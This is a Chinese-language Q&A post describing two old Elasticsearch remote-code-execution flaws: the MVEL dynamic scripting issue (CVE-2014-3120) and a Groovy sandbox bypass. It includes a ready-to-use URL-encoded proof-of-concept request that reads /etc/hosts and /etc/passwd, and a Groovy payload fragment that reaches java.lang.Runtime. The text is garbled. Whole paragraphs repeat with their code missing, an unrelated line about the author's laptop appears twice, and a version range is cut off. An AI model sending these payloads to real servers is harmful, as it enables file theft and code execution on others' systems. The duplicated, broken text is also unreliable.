Elasticsearch 有哪些安全漏洞?
漏洞介紹:
ElasticSearch有腳本執行(scripting)的功能,可以很方便地對查詢出來的數據再加工處理。ElasticSearch用的腳本引擎是MVEL,這個引擎沒有做任何的防護,或者沙盒包裝,所以直接可以執行任意代碼。
而在ElasticSearch 1.2之前的版本中,默認配置是打開動態腳本功能的,如果用戶沒有更改默認配置文件,攻擊者可以直接通過http請求執行任意代碼。
測試POC:
http://127.0.0.1:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111107529820275958627_1400564696673&_=1400564696674
影響版本為1.3.0-1.3.7以及1.4.0-1.4。漏洞原因是elasticsearch使用groovy作為腳本語言,雖然加入了沙盒進行控制,危險的代碼會被攔截,但是由于沙盒限制的不嚴格,通過黑白名單來判斷,導致可以繞過,實現遠程代碼執行。
代碼格式如下:
POST http://127.0.0.1:9200/_search?pretty HTTP/1.1 User-Agent: es Host: 127.0.0.1:9200 Content-Length: 132 { "size":1, "script_fields": { "lupin": { "script": "java.lang.Math.class.forName(\“java.lang.Runtime\”)" } } }
回答所涉及的環境:聯想天逸510S、Windows 10。
ElasticSearch遠程命令執行(CVE-2014-3120)
漏洞介紹:
ElasticSearch有腳本執行(scripting)的功能,可以很方便地對查詢出來的數據再加工處理。ElasticSearch用的腳本引擎是MVEL,這個引擎沒有做任何的防護,或者沙盒包裝,所以直接可以執行任意代碼。
而在ElasticSearch 1.2之前的版本中,默認配置是打開動態腳本功能的,如果用戶沒有更改默認配置文件,攻擊者可以直接通過http請求執行任意代碼。
測試POC:
Elasticsearch Groovy任意命令執行漏洞
影響版本為1.3.0-1.3.7以及1.4.0-1.4。漏洞原因是elasticsearch使用groovy作為腳本語言,雖然加入了沙盒進行控制,危險的代碼會被攔截,但是由于沙盒限制的不嚴格,通過黑白名單來判斷,導致可以繞過,實現遠程代碼執行。
代碼格式如下:
回答所涉及的環境:聯想天逸510S、Windows 10。